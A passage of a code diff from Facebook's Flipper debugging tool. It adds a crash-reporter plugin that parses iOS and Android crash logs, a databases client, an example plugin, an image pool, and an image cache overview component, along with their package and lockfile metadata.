'Blaa Blaaa \n Blaa Blaaa \n Path: path/to/simulator/TH1S-15DEV1CE-1D/App Name.app/App Name \n Blaa Blaa \n Blaa Blaa';
const shouldShowNotification = shouldShowCrashNotification(device, content);
expect(shouldShowNotification).toEqual(true);
});
test('test shouldShowCrashNotification function for all correct inputs but incorrect id', () => {
const device = new BaseDevice('TH1S-15DEV1CE-1D', 'emulator', 'test device');
const content =
'Blaa Blaaa \n Blaa Blaaa \n Path: path/to/simulator/TH1S-1598DEV1CE-2D/App Name.app/App Name \n Blaa Blaa \n Blaa Blaa';
const shouldShowNotification = shouldShowCrashNotification(device, content);
expect(shouldShowNotification).toEqual(false);
});
test('test shouldShowCrashNotification function for undefined device', () => {
const content =
'Blaa Blaaa \n Blaa Blaaa \n Path: path/to/simulator/TH1S-1598DEV1CE-2D/App Name.app/App Name \n Blaa Blaa \n Blaa Blaa';
const shouldShowNotification = shouldShowCrashNotification(null, content);
expect(shouldShowNotification).toEqual(false);
});

View File

@@ -0,0 +1,800 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
* @flow
*/
import {
FlipperDevicePlugin,
Device,
View,
styled,
FlexColumn,
FlexRow,
ContextMenu,
clipboard,
Button,
FlipperPlugin,
getPluginKey,
getPersistedState,
BaseDevice,
shouldParseAndroidLog,
Text,
colors,
Toolbar,
Spacer,
Select,
} from 'flipper';
import unicodeSubstring from 'unicode-substring';
import fs from 'fs';
import os from 'os';
import util from 'util';
import path from 'path';
import {promisify} from 'util';
import type {Notification} from '../../src/plugin.tsx';
import type {Store, DeviceLogEntry, OS, Props} from 'flipper';
import {Component} from 'react';
type HeaderRowProps = {
title: string,
value: string,
};
type openLogsCallbackType = () => void;
type CrashReporterBarProps = {|
openLogsCallback?: openLogsCallbackType,
crashSelector: CrashSelectorProps,
|};
type CrashSelectorProps = {|
crashes: ?{[key: string]: string},
orderedIDs: ?Array<string>,
selectedCrashID: ?string,
onCrashChange: ?(string) => void,
|};
export type Crash = {|
notificationID: string,
callstack: ?string,
reason: string,
name: string,
date: Date,
|};
export type CrashLog = {|
callstack: string,
reason: string,
name: string,
date: ?Date,
|};
export type PersistedState = {
crashes: Array<Crash>,
};
type State = {
crash: ?Crash,
};
const Padder = styled.div(
({paddingLeft, paddingRight, paddingBottom, paddingTop}) => ({
paddingLeft: paddingLeft || 0,
paddingRight: paddingRight || 0,
paddingBottom: paddingBottom || 0,
paddingTop: paddingTop || 0,
}),
);
const Title = styled(Text)({
fontWeight: 'bold',
color: colors.greyTint3,
height: 'auto',
width: 200,
textOverflow: 'ellipsis',
});
const Line = styled(View)({
backgroundColor: colors.greyTint2,
height: 1,
width: 'auto',
marginTop: 2,
flexShrink: 0,
});
const Container = styled(FlexColumn)({
overflow: 'auto',
flexShrink: 0,
});
const Value = styled(Text)({
fontWeight: 'bold',
color: colors.greyTint3,
height: 'auto',
maxHeight: 200,
flexGrow: 1,
textOverflow: 'ellipsis',
whiteSpace: 'normal',
wordWrap: 'break-word',
lineHeight: 2,
marginLeft: 8,
marginRight: 8,
overflow: 'hidden',
});
const FlexGrowColumn = styled(FlexColumn)({
flexGrow: 1,
});
const PluginRootContainer = styled(FlexColumn)({
height: '100%',
});
const ScrollableColumn = styled(FlexGrowColumn)({
overflow: 'auto',
height: 'auto',
});
const StyledFlexGrowColumn = styled(FlexColumn)({
flexGrow: 1,
});
const StyledFlexRowColumn = styled(FlexRow)({
aligItems: 'center',
justifyContent: 'center',
height: '100%',
});
const StyledFlexColumn = styled(StyledFlexGrowColumn)({
justifyContent: 'center',
alignItems: 'center',
});
const MatchParentHeightComponent = styled(FlexRow)({
height: '100%',
});
const ButtonGroupContainer = styled(FlexRow)({
paddingLeft: 4,
paddingTop: 2,
paddingBottom: 2,
height: '100%',
});
const StyledSelectContainer = styled(FlexRow)({
paddingLeft: 8,
paddingTop: 2,
paddingBottom: 2,
height: '100%',
});
const StyledSelect = styled(Select)({
height: '100%',
maxWidth: 200,
});
const StackTraceContainer = styled(FlexColumn)({
backgroundColor: colors.greyStackTraceTint,
flexShrink: 0,
});
const UNKNOWN_CRASH_REASON = 'Cannot figure out the cause';
export function getNewPersisitedStateFromCrashLog(
persistedState: ?PersistedState,
persistingPlugin: Class<FlipperDevicePlugin<> | FlipperPlugin<>>,
content: string,
os: ?OS,
logDate: ?Date,
): ?PersistedState {
const persistedStateReducer = persistingPlugin.persistedStateReducer;
if (!os || !persistedStateReducer) {
return null;
}
const crash = parseCrashLog(content, os, logDate);
const newPluginState = persistedStateReducer(
persistedState,
'crash-report',
crash,
);
return newPluginState;
}
export function parseCrashLogAndUpdateState(
store: Store,
content: string,
setPersistedState: (
pluginKey: string,
newPluginState: ?PersistedState,
) => void,
logDate: ?Date,
) {
const os = store.getState().connections.selectedDevice?.os;
if (
!shouldShowCrashNotification(
store.getState().connections.selectedDevice,
content,
os,
)
) {
return;
}
const pluginID = CrashReporterPlugin.id;
const pluginKey = getPluginKey(
null,
store.getState().connections.selectedDevice,
pluginID,
);
const persistingPlugin: ?Class<
FlipperDevicePlugin<> | FlipperPlugin<>,
> = store.getState().plugins.devicePlugins.get(CrashReporterPlugin.id);
if (!persistingPlugin) {
return;
}
const pluginStates = store.getState().pluginStates;
const persistedState = getPersistedState(
pluginKey,
persistingPlugin,
pluginStates,
);
const newPluginState = getNewPersisitedStateFromCrashLog(
persistedState,
persistingPlugin,
content,
os,
logDate,
);
setPersistedState(pluginKey, newPluginState);
}
export function shouldShowCrashNotification(
baseDevice: ?BaseDevice,
content: string,
os: ?OS,
): boolean {
if (os && os === 'Android') {
return true;
}
const appPath = parsePath(content);
const serial: string = baseDevice?.serial || 'unknown';
if (!appPath || !appPath.includes(serial)) {
// Do not show notifications for the app which are not the selected one
return false;
}
return true;
}
export function parseCrashLog(
content: string,
os: OS,
logDate: ?Date,
): CrashLog {
const fallbackReason = UNKNOWN_CRASH_REASON;
switch (os) {
case 'iOS': {
const regex = /Exception Type: *[\w]*/;
const arr = regex.exec(content);
const exceptionString = arr ? arr[0] : '';
const exceptionRegex = /[\w]*$/;
const tmp = exceptionRegex.exec(exceptionString);
const exception = tmp && tmp[0].length ? tmp[0] : fallbackReason;
let date = logDate;
if (!date) {
const dateRegex = /Date\/Time: *[\w\s\.:-]*/;
const dateArr = dateRegex.exec(content);
const dateString = dateArr ? dateArr[0] : '';
const dateRegex2 = /[\w\s\.:-]*$/;
const tmp1 = dateRegex2.exec(dateString);
const extractedDateString: ?string =
tmp1 && tmp1[0].length ? tmp1[0] : null;
date = extractedDateString ? new Date(extractedDateString) : logDate;
}
const crash = {
callstack: content,
name: exception,
reason: exception,
date,
};
return crash;
}
case 'Android': {
const regForName = /.*\n/;
const nameRegArr = regForName.exec(content);
let name = nameRegArr ? nameRegArr[0] : fallbackReason;
const regForCallStack = /\tat[\w\s\n.$&+,:;=?@#|'<>.^*()%!-]*$/;
const callStackArray = regForCallStack.exec(content);
const callStack = callStackArray ? callStackArray[0] : '';
let remainingString =
callStack.length > 0 ? content.replace(callStack, '') : '';
if (remainingString[remainingString.length - 1] === '\n') {
remainingString = remainingString.slice(0, -1);
}
const reason =
remainingString.length > 0
? remainingString.split('\n').pop()
: fallbackReason;
if (name[name.length - 1] === '\n') {
name = name.slice(0, -1);
}
const crash = {
callstack: content,
name: name,
reason: reason,
date: logDate,
};
return crash;
}
default: {
throw new Error('Unsupported OS');
}
}
}
function truncate(baseString: string, numOfChars: number): string {
if (baseString.length <= numOfChars) {
return baseString;
}
const truncated_string = unicodeSubstring(baseString, 0, numOfChars - 1);
return truncated_string + '\u2026';
}
export function parsePath(content: string): ?string {
const regex = /Path: *[\w\-\/\.\t\ \_\%]*\n/;
const arr = regex.exec(content);
if (!arr || arr.length <= 0) {
return null;
}
const pathString = arr[0];
const pathRegex = /[\w\-\/\.\t\ \_\%]*\n/;
const tmp = pathRegex.exec(pathString);
if (!tmp || tmp.length == 0) {
return null;
}
const path = tmp[0];
return path.trim();
}
function addFileWatcherForiOSCrashLogs(
store: Store,
setPersistedState: (
pluginKey: string,
newPluginState: ?PersistedState,
) => void,
) {
const dir = path.join(os.homedir(), 'Library', 'Logs', 'DiagnosticReports');
if (!fs.existsSync(dir)) {
// Directory doesn't exist
return;
}
fs.watch(dir, (eventType, filename) => {
// We just parse the crash logs with extension `.crash`
const checkFileExtension = /.crash$/.exec(filename);
if (!filename || !checkFileExtension) {
return;
}
const filepath = path.join(dir, filename);
promisify(fs.exists)(filepath).then(exists => {
if (!exists) {
return;
}
fs.readFile(filepath, 'utf8', function(err, data) {
if (store.getState().connections.selectedDevice?.os != 'iOS') {
// If the selected device is not iOS don't show crash notifications
return;
}
if (err) {
console.error(err);
return;
}
parseCrashLogAndUpdateState(
store,
util.format(data),
setPersistedState,
);
});
});
});
}
class CrashSelector extends Component<CrashSelectorProps> {
render() {
const {crashes, selectedCrashID, orderedIDs, onCrashChange} = this.props;
return (
<StyledFlexRowColumn>
<ButtonGroupContainer>
<MatchParentHeightComponent>
<Button
disabled={Boolean(!orderedIDs || orderedIDs.length <= 1)}
compact={true}
onClick={() => {
if (onCrashChange && orderedIDs) {
const index = orderedIDs.indexOf(selectedCrashID);
const nextIndex =
index < 1 ? orderedIDs.length - 1 : index - 1;
const nextID = orderedIDs[nextIndex];
onCrashChange(nextID);
}
}}
icon="chevron-left"
iconSize={12}
title="Previous Crash"
/>
</MatchParentHeightComponent>
<MatchParentHeightComponent>
<Button
disabled={Boolean(!orderedIDs || orderedIDs.length <= 1)}
compact={true}
onClick={() => {
if (onCrashChange && orderedIDs) {
const index = orderedIDs.indexOf(selectedCrashID);
const nextIndex =
index >= orderedIDs.length - 1 ? 0 : index + 1;
const nextID = orderedIDs[nextIndex];
onCrashChange(nextID);
}
}}
icon="chevron-right"
iconSize={12}
title="Next Crash"
/>
</MatchParentHeightComponent>
</ButtonGroupContainer>
<StyledSelectContainer>
<StyledSelect
grow={true}
selected={selectedCrashID || 'NoCrashID'}
options={crashes || {NoCrashID: 'No Crash'}}
onChangeWithKey={(key: string) => {
if (onCrashChange) {
onCrashChange(key);
}
}}
/>
</StyledSelectContainer>
</StyledFlexRowColumn>
);
}
}
class CrashReporterBar extends Component<CrashReporterBarProps> {
render() {
const {openLogsCallback, crashSelector} = this.props;
return (
<Toolbar>
<CrashSelector {...crashSelector} />
<Spacer />
<Button
disabled={Boolean(!openLogsCallback)}
onClick={openLogsCallback}>
Open In Logs
</Button>
</Toolbar>
);
}
}
class HeaderRow extends Component<HeaderRowProps> {
render() {
const {title, value} = this.props;
return (
<Padder paddingTop={8} paddingBottom={2} paddingLeft={8}>
<Container>
<FlexRow>
<Title>{title}</Title>
<ContextMenu
items={[
{
label: 'copy',
click: () => {
clipboard.writeText(value);
},
},
]}>
<Value code={true}>{value}</Value>
</ContextMenu>
</FlexRow>
<Line />
</Container>
</Padder>
);
}
}
type StackTraceComponentProps = {
stacktrace: string,
};
class StackTraceComponent extends Component<StackTraceComponentProps> {
render() {
const {stacktrace} = this.props;
return (
<StackTraceContainer>
<Padder paddingTop={8} paddingBottom={2} paddingLeft={8}>
<Value code={true}>{stacktrace}</Value>
</Padder>
<Line />
</StackTraceContainer>
);
}
}
export default class CrashReporterPlugin extends FlipperDevicePlugin<
State,
void,
PersistedState,
> {
static defaultPersistedState = {crashes: []};
static supportsDevice(device: Device) {
return device.os === 'iOS' || device.os === 'Android';
}
static notificationID: number = 0;
/*
* Reducer to process incoming "send" messages from the mobile counterpart.
*/
static persistedStateReducer = (
persistedState: PersistedState,
method: string,
payload: Object,
): PersistedState => {
if (method === 'crash-report' || method === 'flipper-crash-report') {
CrashReporterPlugin.notificationID++;
const mergedState: PersistedState = {
crashes: persistedState.crashes.concat([
{
notificationID: CrashReporterPlugin.notificationID.toString(), // All notifications are unique
callstack: payload.callstack,
name: payload.name,
reason: payload.reason,
date: payload.date || new Date(),
},
]),
};
return mergedState;
}
return persistedState;
};
static trimCallStackIfPossible = (callstack: string): string => {
const regex = /Application Specific Information:/;
const query = regex.exec(callstack);
return query ? callstack.substring(0, query.index) : callstack;
};
/*
* Callback to provide the currently active notifications.
*/
static getActiveNotifications = (
persistedState: PersistedState,
): Array<Notification> => {
const filteredCrashes = persistedState.crashes.filter(crash => {
const ignore = !crash.name && !crash.reason;
const unknownCrashCause = crash.reason === UNKNOWN_CRASH_REASON;
if (ignore || unknownCrashCause) {
console.error('Ignored the notification for the crash', crash);
}
return !ignore && !unknownCrashCause;
});
return filteredCrashes.map((crash: Crash) => {
const id = crash.notificationID;
const name: string = crash.name || crash.reason;
let title: string = 'CRASH: ' + truncate(name, 50);
title = `${
name == crash.reason
? title
: title + 'Reason: ' + truncate(crash.reason, 50)
}`;
const callstack = crash.callstack
? CrashReporterPlugin.trimCallStackIfPossible(crash.callstack)
: 'No callstack available';
const msg = `Callstack: ${truncate(callstack, 200)}`;
return {
id,
message: msg,
severity: 'error',
title: title,
action: id,
category: crash.reason || 'Unknown reason',
};
});
};
/*
* This function gets called whenever the device is registered
*/
static onRegisterDevice = (
store: Store,
baseDevice: BaseDevice,
setPersistedState: (
pluginKey: string,
newPluginState: ?PersistedState,
) => void,
): void => {
if (baseDevice.os.includes('iOS')) {
addFileWatcherForiOSCrashLogs(store, setPersistedState);
} else {
const referenceDate = new Date();
(function(
store: Store,
date: Date,
setPersistedState: (
pluginKey: string,
newPluginState: ?PersistedState,
) => void,
) {
let androidLog: string = '';
let androidLogUnderProcess = false;
let timer = null;
baseDevice.addLogListener((entry: DeviceLogEntry) => {
if (shouldParseAndroidLog(entry, referenceDate)) {
if (androidLogUnderProcess) {
androidLog += '\n' + entry.message;
androidLog = androidLog.trim();
if (timer) {
clearTimeout(timer);
}
} else {
androidLog = entry.message;
androidLogUnderProcess = true;
}
timer = setTimeout(() => {
if (androidLog.length > 0) {
parseCrashLogAndUpdateState(
store,
androidLog,
setPersistedState,
entry.date,
);
}
androidLogUnderProcess = false;
androidLog = '';
}, 50);
}
});
})(store, referenceDate, setPersistedState);
}
};
openInLogs = (callstack: string) => {
this.props.selectPlugin('DeviceLogs', callstack);
};
constructor(props: Props<PersistedState>) {
// Required step: always call the parent class' constructor
super(props);
let crash: ?Crash = null;
if (
this.props.persistedState.crashes &&
this.props.persistedState.crashes.length > 0
) {
crash = this.props.persistedState.crashes[
this.props.persistedState.crashes.length - 1
];
}
let deeplinkedCrash = null;
if (this.props.deepLinkPayload) {
const id = this.props.deepLinkPayload;
const index = this.props.persistedState.crashes.findIndex(elem => {
return elem.notificationID === id;
});
if (index >= 0) {
deeplinkedCrash = this.props.persistedState.crashes[index];
}
}
// Set the state directly. Use props if necessary.
this.state = {
crash: deeplinkedCrash || crash,
};
}
render() {
let crashToBeInspected = this.state.crash;
if (!crashToBeInspected && this.props.persistedState.crashes.length > 0) {
crashToBeInspected = this.props.persistedState.crashes[
this.props.persistedState.crashes.length - 1
];
}
const crash = crashToBeInspected;
if (crash) {
const {crashes} = this.props.persistedState;
const crashMap = crashes.reduce(
(acc: {[key: string]: string}, persistedCrash: Crash) => {
const {notificationID, date} = persistedCrash;
const name = 'Crash at ' + date.toLocaleString();
acc[notificationID] = name;
return acc;
},
{},
);
const orderedIDs = crashes.map(
persistedCrash => persistedCrash.notificationID,
);
const selectedCrashID = crash.notificationID;
const onCrashChange = id => {
const newSelectedCrash = crashes.find(
element => element.notificationID === id,
);
this.setState({crash: newSelectedCrash});
};
const callstackString = crash.callstack || '';
const children = callstackString.split('\n').map(str => {
return {message: str};
});
const crashSelector: CrashSelectorProps = {
crashes: crashMap,
orderedIDs,
selectedCrashID,
onCrashChange,
};
const showReason = crash.reason !== UNKNOWN_CRASH_REASON;
return (
<PluginRootContainer>
{this.device.os == 'Android' ? (
<CrashReporterBar
crashSelector={crashSelector}
openLogsCallback={() => {
if (crash.callstack) {
this.openInLogs(crash.callstack);
}
}}
/>
) : (
<CrashReporterBar crashSelector={crashSelector} />
)}
<ScrollableColumn>
<HeaderRow title="Name" value={crash.name} />
{showReason ? (
<HeaderRow title="Reason" value={crash.reason} />
) : null}
<Padder paddingLeft={8} paddingTop={4} paddingBottom={2}>
<Title> Stacktrace </Title>
</Padder>
<ContextMenu
items={[
{
label: 'copy',
click: () => {
clipboard.writeText(callstackString);
},
},
]}>
<Line />
{children.map(child => {
return (
<StackTraceComponent
key={child.message}
stacktrace={child.message}
/>
);
})}
</ContextMenu>
</ScrollableColumn>
</PluginRootContainer>
);
}
const crashSelector = {
crashes: null,
orderedIDs: null,
selectedCrashID: null,
onCrashChange: null,
};
return (
<StyledFlexGrowColumn>
<CrashReporterBar crashSelector={crashSelector} />
<StyledFlexColumn>
<Padder paddingBottom={8}>
<Title>No Crashes Logged</Title>
</Padder>
</StyledFlexColumn>
</StyledFlexGrowColumn>
);
}
}

View File

@@ -0,0 +1,17 @@
{
"name": "CrashReporter",
"version": "0.1.0",
"description": "A plugin which will display a crash",
"main": "index.js",
"repository": "https://github.com/facebook/flipper",
"license": "MIT",
"keywords": ["flipper-plugin"],
"title": "Crash Reporter",
"bugs": {
"email": "prit91@fb.com",
"url": "https://fb.workplace.com/groups/220760072184928/"
},
"dependencies": {
"unicode-substring": "^1.0.0"
}
}

View File

@@ -0,0 +1,8 @@
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1
unicode-substring@^1.0.0:
version "1.0.0"
resolved "https://registry.yarnpkg.com/unicode-substring/-/unicode-substring-1.0.0.tgz#659fb839078e7bee84b86c27210ac4db215bf885"
integrity sha512-2acGIOTaqS/GWocwKdyL1Vk9MHglCss1mR0CL2o/YJTwKrAt6JbTrw4X187VkSDmFcpJ8n2i3/+gJSYEdvXJMg==

View File

@@ -0,0 +1,48 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {Button, ButtonGroup, Glyph, colors} from 'flipper';
export default function ButtonNavigation(props: {|
/** Back button is enabled */
canGoBack: boolean,
/** Forwards button is enabled */
canGoForward: boolean,
/** Callback when back button is clicked */
onBack: () => void,
/** Callback when forwards button is clicked */
onForward: () => void,
|}) {
return (
<ButtonGroup>
<Button disabled={!props.canGoBack} onClick={props.onBack}>
<Glyph
name="chevron-left"
size={16}
color={
props.canGoBack
? colors.macOSTitleBarIconActive
: colors.macOSTitleBarIconBlur
}
/>
</Button>
<Button disabled={!props.canGoForward} onClick={props.onForward}>
<Glyph
name="chevron-right"
size={16}
color={
props.canGoForward
? colors.macOSTitleBarIconActive
: colors.macOSTitleBarIconBlur
}
/>
</Button>
</ButtonGroup>
);
}

View File

@@ -0,0 +1,101 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import type {PluginClient, Value} from 'flipper';
type ClientCall<Params, Response> = Params => Promise<Response>;
type DatabaseListRequest = {};
type DatabaseListResponse = Array<{
id: number,
name: string,
tables: Array<string>,
}>;
type QueryTableRequest = {
databaseId: number,
table: string,
order?: string,
reverse: boolean,
start: number,
count: number,
};
type QueryTableResponse = {
columns: Array<string>,
values: Array<Array<Value>>,
start: number,
count: number,
total: number,
};
type GetTableStructureRequest = {
databaseId: number,
table: string,
};
type GetTableStructureResponse = {
structureColumns: Array<string>,
structureValues: Array<Array<Value>>,
indexesColumns: Array<string>,
indexesValues: Array<Array<Value>>,
definition: string,
};
type ExecuteSqlRequest = {
databaseId: number,
value: string,
};
type ExecuteSqlResponse = {
type: string,
columns: Array<string>,
values: Array<Array<Value>>,
insertedId: number,
affectedCount: number,
};
type GetTableInfoRequest = {
databaseId: number,
table: string,
};
type GetTableInfoResponse = {
definition: string,
};
export class DatabaseClient {
client: PluginClient;
constructor(pluginClient: PluginClient) {
this.client = pluginClient;
}
getDatabases: ClientCall<
DatabaseListRequest,
DatabaseListResponse,
> = params => this.client.call('databaseList', {});
getTableData: ClientCall<QueryTableRequest, QueryTableResponse> = params =>
this.client.call('getTableData', params);
getTableStructure: ClientCall<
GetTableStructureRequest,
GetTableStructureResponse,
> = params => this.client.call('getTableStructure', params);
getExecution: ClientCall<ExecuteSqlRequest, ExecuteSqlResponse> = params =>
this.client.call('execute', params);
getTableInfo: ClientCall<
GetTableInfoRequest,
GetTableInfoResponse,
> = params => this.client.call('getTableInfo', params);
}

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,17 @@
{
"name": "Databases",
"version": "1.0.0",
"title": "Databases",
"icon": "internet",
"main": "index.js",
"license": "MIT",
"keywords": ["flipper-plugin"],
"dependencies": {
"sql-formatter": "^2.3.3",
"dateformat": "^3.0.3"
},
"bugs": {
"email": "oncall+flipper@xmail.facebook.com",
"url": "https://fb.workplace.com/groups/flippersupport/"
}
}

View File

@@ -0,0 +1,20 @@
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1
dateformat@^3.0.3:
version "3.0.3"
resolved "https://registry.yarnpkg.com/dateformat/-/dateformat-3.0.3.tgz#a6e37499a4d9a9cf85ef5872044d62901c9889ae"
integrity sha512-jyCETtSl3VMZMWeRo7iY1FL19ges1t55hMo5yaam4Jrsm5EPL89UQkoQRyiI+Yf4k8r2ZpdngkV8hr1lIdjb3Q==
lodash@^4.16.0:
version "4.17.14"
resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.14.tgz#9ce487ae66c96254fe20b599f21b6816028078ba"
integrity sha512-mmKYbW3GLuJeX+iGP+Y7Gp1AiGHGbXHCOh/jZmrawMmsE7MS4znI3RL2FsjbqOyMayHInjOeykW7PEajUk1/xw==
sql-formatter@^2.3.3:
version "2.3.3"
resolved "https://registry.yarnpkg.com/sql-formatter/-/sql-formatter-2.3.3.tgz#910ef484fbb988a5e510bea4161157e3b80b2f62"
integrity sha512-m6pqVXwsm9GkCHC/+gdPvNowI7PNoVTT6OZMWKwXJoP2MvfntfhcfyliIf4/QX6t+DirSJ6XDSiSS70YvZ87Lw==
dependencies:
lodash "^4.16.0"

View File

@@ -0,0 +1,116 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {Button, Input, FlipperPlugin, FlexColumn, styled, Text} from 'flipper';
import React from 'react';
type DisplayMessageResponse = {
greeting: string;
};
type Message = {
id: number;
msg: string | null | undefined;
};
type State = {
prompt: string;
message: string;
};
type PersistedState = {
currentNotificationIds: Array<number>;
receivedMessage: string | null;
};
const Container = styled(FlexColumn)({
alignItems: 'center',
justifyContent: 'space-around',
padding: 20,
});
export default class Example extends FlipperPlugin<State, any, PersistedState> {
static defaultPersistedState = {
currentNotificationIds: [],
receivedMessage: null,
};
state = {
prompt: 'Type a message below to see it displayed on the mobile app',
message: '',
};
/*
* Reducer to process incoming "send" messages from the mobile counterpart.
*/
static persistedStateReducer(
persistedState: PersistedState,
method: string,
payload: Message,
) {
if (method === 'triggerNotification') {
return Object.assign({}, persistedState, {
currentNotificationIds: persistedState.currentNotificationIds.concat([
payload.id,
]),
});
}
if (method === 'displayMessage') {
return Object.assign({}, persistedState, {
receivedMessage: payload.msg,
});
}
return persistedState;
}
/*
* Callback to provide the currently active notifications.
*/
static getActiveNotifications(persistedState: PersistedState) {
return persistedState.currentNotificationIds.map((x: number) => {
return {
id: 'test-notification:' + x,
message: 'Example Notification',
severity: 'warning' as 'warning',
title: 'Notification: ' + x,
};
});
}
/*
* Call a method of the mobile counterpart, to display a message.
*/
sendMessage() {
this.client
.call('displayMessage', {message: this.state.message || 'Weeeee!'})
.then((_params: DisplayMessageResponse) => {
this.setState({
prompt: 'Nice',
});
});
}
render() {
return (
<Container>
<Text>{this.state.prompt}</Text>
<Input
placeholder="Message"
onChange={event => {
this.setState({message: event.target.value});
}}
/>
<Button onClick={this.sendMessage.bind(this)}>Send</Button>
{this.props.persistedState.receivedMessage && (
<Text> {this.props.persistedState.receivedMessage} </Text>
)}
</Container>
);
}
}

View File

@@ -0,0 +1,13 @@
{
"name": "flipper-plugin-example",
"version": "1.0.0",
"description": "An example for a Flipper plugin",
"main": "index.tsx",
"license": "MIT",
"keywords": ["flipper-plugin"],
"title": "Example Plugin",
"icon": "apps",
"bugs": {
"url": "https://fbflipper.com/"
}
}

View File

@@ -0,0 +1,4 @@
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1

View File

@@ -0,0 +1,78 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {ImageId, ImageData} from './api';
export type ImagesMap = {[imageId in ImageId]: ImageData};
const maxInflightRequests = 10;
export default class ImagePool {
cache: ImagesMap = {};
requested: {[imageId in ImageId]: boolean} = {};
queued: Array<ImageId> = [];
inFlightRequests: number = 0;
fetchImage: (imageId: ImageId) => void;
updateNotificationScheduled: boolean = false;
onPoolUpdated: (images: ImagesMap) => void;
constructor(
fetchImage: (imageId: ImageId) => void,
onPoolUpdated: (images: ImagesMap) => void,
) {
this.fetchImage = fetchImage;
this.onPoolUpdated = onPoolUpdated;
}
getImages(): ImagesMap {
return {...this.cache};
}
fetchImages(ids: Array<string>) {
for (const id of ids) {
if (!this.cache[id] && !this.requested[id]) {
this.requested[id] = true;
if (this.inFlightRequests < maxInflightRequests) {
this.inFlightRequests++;
this.fetchImage(id);
} else {
this.queued.unshift(id);
}
}
}
}
clear() {
this.cache = {};
this.requested = {};
}
_fetchCompleted(image: ImageData): void {
this.cache[image.imageId] = image;
delete this.requested[image.imageId];
if (this.queued.length > 0) {
const popped = this.queued.pop() as string;
this.fetchImage(popped);
} else {
this.inFlightRequests--;
}
if (!this.updateNotificationScheduled) {
this.updateNotificationScheduled = true;
window.setTimeout(this._notify, 1000);
}
}
_notify = () => {
this.updateNotificationScheduled = false;
this.onPoolUpdated(this.getImages());
};
}

View File

@@ -0,0 +1,511 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {CacheInfo, ImageId, ImageData, ImagesList} from './api';
import {ImageEventWithId} from './index';
import {
Toolbar,
Button,
Spacer,
colors,
FlexBox,
FlexRow,
FlexColumn,
LoadingIndicator,
styled,
Select,
ToggleButton,
Text,
} from 'flipper';
import MultipleSelect from './MultipleSelect';
import {ImagesMap} from './ImagePool';
import {clipboard} from 'electron';
import React, {ChangeEvent, KeyboardEvent, PureComponent} from 'react';
function formatMB(bytes: number) {
return Math.floor(bytes / (1024 * 1024)) + 'MB';
}
function formatKB(bytes: number) {
return Math.floor(bytes / 1024) + 'KB';
}
type ToggleProps = {
label: string;
onClick?: (newValue: boolean) => void;
toggled: boolean;
};
const ToolbarToggleButton = styled(ToggleButton)(_props => ({
alignSelf: 'center',
marginRight: 4,
minWidth: 30,
}));
const ToggleLabel = styled(Text)(_props => ({
whiteSpace: 'nowrap',
}));
function Toggle(props: ToggleProps) {
return (
<>
<ToolbarToggleButton
onClick={() => {
props.onClick && props.onClick(!props.toggled);
}}
toggled={props.toggled}
/>
<ToggleLabel>{props.label}</ToggleLabel>
</>
);
}
type ImagesCacheOverviewProps = {
onColdStartChange: (checked: boolean) => void;
coldStartFilter: boolean;
allSurfacesOption: string;
surfaceOptions: Set<string>;
selectedSurfaces: Set<string>;
onChangeSurface: (key: Set<string>) => void;
images: ImagesList;
onClear: (type: string) => void;
onTrimMemory: () => void;
onRefresh: () => void;
onEnableDebugOverlay: (enabled: boolean) => void;
isDebugOverlayEnabled: boolean;
onEnableAutoRefresh: (enabled: boolean) => void;
isAutoRefreshEnabled: boolean;
onImageSelected: (selectedImage: ImageId) => void;
imagesMap: ImagesMap;
events: Array<ImageEventWithId>;
onTrackLeaks: (enabled: boolean) => void;
isLeakTrackingEnabled: boolean;
};
type ImagesCacheOverviewState = {
selectedImage: ImageId | null;
size: number;
};
const StyledSelect = styled(Select)(props => ({
marginLeft: 6,
marginRight: 6,
height: '100%',
maxWidth: 164,
}));
export default class ImagesCacheOverview extends PureComponent<
ImagesCacheOverviewProps,
ImagesCacheOverviewState
> {
state = {
selectedImage: null,
size: 150,
};
static Container = styled(FlexColumn)({
backgroundColor: colors.white,
});
static Content = styled(FlexColumn)({
flex: 1,
overflow: 'auto',
});
static Empty = styled(FlexBox)({
alignItems: 'center',
height: '100%',
justifyContent: 'center',
width: '100%',
});
onImageSelected = (selectedImage: ImageId) => {
this.setState({selectedImage});
this.props.onImageSelected(selectedImage);
};
onKeyDown = (e: KeyboardEvent) => {
const selectedImage = this.state.selectedImage;
const imagesMap = this.props.imagesMap;
if (selectedImage) {
if ((e.ctrlKey || e.metaKey) && e.key === 'c') {
clipboard.writeText(String(imagesMap[selectedImage]));
e.preventDefault();
}
}
};
onEnableDebugOverlayToggled = () => {
this.props.onEnableDebugOverlay(!this.props.isDebugOverlayEnabled);
};
onEnableAutoRefreshToggled = () => {
this.props.onEnableAutoRefresh(!this.props.isAutoRefreshEnabled);
};
onChangeSize = (e: ChangeEvent<HTMLInputElement>) =>
this.setState({size: parseInt(e.target.value, 10)});
onSurfaceOptionsChange = (selectedItem: string, checked: boolean) => {
const {allSurfacesOption, surfaceOptions} = this.props;
const selectedSurfaces = new Set([...this.props.selectedSurfaces]);
if (checked && selectedItem === allSurfacesOption) {
this.props.onChangeSurface(surfaceOptions);
return;
}
if (!checked && selectedSurfaces.size === 1) {
return;
}
if (selectedItem !== allSurfacesOption) {
